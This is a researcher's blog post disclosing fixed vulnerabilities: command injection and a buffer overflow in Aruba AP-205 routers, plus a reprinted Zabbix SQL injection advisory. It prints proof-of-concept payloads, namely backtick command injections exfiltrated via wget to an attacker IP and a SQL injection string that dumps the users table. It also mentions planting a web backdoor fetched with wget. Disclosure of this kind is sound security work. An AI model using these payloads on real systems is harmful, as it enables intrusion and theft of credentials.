Aruba Networks AP-205 (Multiple Vulnerabilities)

It’s been a while since I put out a new blog post, so I thought I’d share some insights into some older vulnerabilities I discovered while hacking on Aruba’s AP-205 wifi routers. Aruba was nice enough to ship out 2 FREE AP-205 devices to test and I ended up finding several vulnerabilities which paid out a total of ~$1,500. Not too shabby and I got to keep the routers after which was super cool of them! I’m releasing the technical details here purely for educational use. All of the vulnerabilities noted here have now been fixed. Enjoy! -1N3

Aruba AP-205 Remote Command Injection Vulnerability


Company: Aruba Networks
Device Model: AP-205
Firmware Version: ArubaOS 6.4.2.3-4.1.1.4_49446
Researcher: [email protected]
Bounty: $750.00

Aruba Networks AP-205 wireless routers suffer from remote command injection vulnerability in the WISPr input fields. This can be exploited by an attacker with authenticated access to the AP by crafting special escape character strings followed by standard linux commands. The Operator name, Location name and SSID/Zone fields are all vulnerable as seen by the below output. A permanent web backdoor could also be leveraged with time using the wget -O options to remotely grab a backdoor script from the attackers server and place locally in the web directory. PoC BLIND TIME BASED COMMAND EXECUTION:

wget http://192.168.1.145/test?`sleep 1`
RESULT: 1+ second delay in response time

wget http://192.168.1.145/test?`sleep 5`
RESULT: 5+ second delay in response time

wget http://192.168.1.145/test?`sleep 10`
RESULT: 10+ second delay in response time

REMOTE CONFIRMATION COMMAND EXECUTION:

; wget http://192.168.1.145/?`whoami`?`uname`?`pwd`

Aruba AP-205 Buffer Overflow Exploit (Memory Dislosure & DoS)


Company: Aruba Networks
Device Model: AP-205
Firmware Version: ArubaOS 6.4.2.3-4.1.1.4_49446
Researcher: [email protected]
Bounty: $150.00

The Aruba Networks AP-205 series is prone to a remote buffer overflow vulnerability because it fails to bounds-check user supplied input before copying it into an insufficiently sized memory buffer. Writing outside the bounds of a block of allocated memory results in a memory leak of sensitive details, denial of service and could lead to remote code execution. HTTP Request

Zabbix 2.2.x, 3.0.x SQL Injection/RCE 0day Vulnerability

==========================================
Title: Zabbix 3.0.3 SQL Injection Vulnerability
Product: Zabbix
Vulnerable Version(s): 2.2.x, 3.0.x
Fixed Version: 3.0.4
Homepage: http://www.zabbix.com
Patch link: https://support.zabbix.com/browse/ZBX-11023
Credit: [email protected]
==========================================
 
 
Vendor Description:
=====================
Zabbix is an open source availability and performance monitoring solution.
 
 
Vulnerability Overview:
=====================
Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in 
the toggle_ids array in the latest.php page.
 
 
Business Impact:
=====================
By exploiting this SQL injection vulnerability, an authenticated attacker (or guest user) is able to gain full access 
to the database. This would allow an attacker to escalate their privileges to a power user, compromise the database, 
or execute commands on the underlying database operating system.
 
Because of the functionalities Zabbix offers, an attacker with admin privileges (depending on the configuration) can 
execute arbitrary OS commands on the configured Zabbix hosts and server. This results in a severe impact to the 
monitored infrastructure.
 
Although the attacker needs to be authenticated in general, the system could also be at risk if the adversary has no 
user account. Zabbix offers a guest mode which provides a low privileged default account for users without password. 
If this guest mode is enabled, the SQL injection vulnerability can be exploited unauthenticated.
 
 
Proof of Concept:
=====================
 
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
 
Result:
SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 
'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)

svn/branches/2.2/frontends/php/include/profiles.inc.php:185
